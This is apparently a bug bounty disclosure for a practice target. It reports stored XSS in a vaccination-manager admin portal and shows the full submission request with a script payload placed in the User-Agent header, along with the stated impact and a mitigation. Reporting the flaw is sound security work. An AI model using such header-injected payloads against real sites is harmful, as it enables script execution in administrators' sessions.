BugBountyHunter

The vaccination manager admin portal unsafely reflects a User-Agent header's value (saved to the DB when a user sends vaccination proof via /vaccination-manager/pub/submit-vaccination-proof.php endpoint), which leads Stored XSS.

Example request:

POST /vaccination-manager/pub/submit-vaccination-proof.php HTTP/1.1
Host: 13f5cfe96d8e-panya.a.firstbloodhackers.com
Content-Length: 66604
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="95", ";Not A Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Upgrade-Insecure-Requests: 1
Origin: https://13f5cfe96d8e-panya.a.firstbloodhackers.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary6Ttb4gutNkKWWkV6
User-Agent: <script>alert(origin)</script>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://13f5cfe96d8e-panya.a.firstbloodhackers.com/vaccination-manager/pub/upload-vaccination-proof.php
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Connection: close

------WebKitFormBoundary6Ttb4gutNkKWWkV6
Content-Disposition: form-data; name="email"

[email protected]
------WebKitFormBoundary6Ttb4gutNkKWWkV6
Content-Disposition: form-data; name="vaccination_proof"; filename="pepe.png"
Content-Type: image/png

‰PNG


IHDRD
<skiped>
------WebKitFormBoundary6Ttb4gutNkKWWkV6--

Notice that I changed the User-Agent header value to <script>alert(origin)</script>.

The script tag is reflected in the vaccination-manager's admin portal and triggers an alert with the text "https://13f5cfe96d8e-panya.a.firstbloodhackers.com".

Impact:

An attacker could execute JS code on behalf of an vaccination-manager's admin.

Mitigation:

The User-Agent header's value should be properly escaped or sanitized.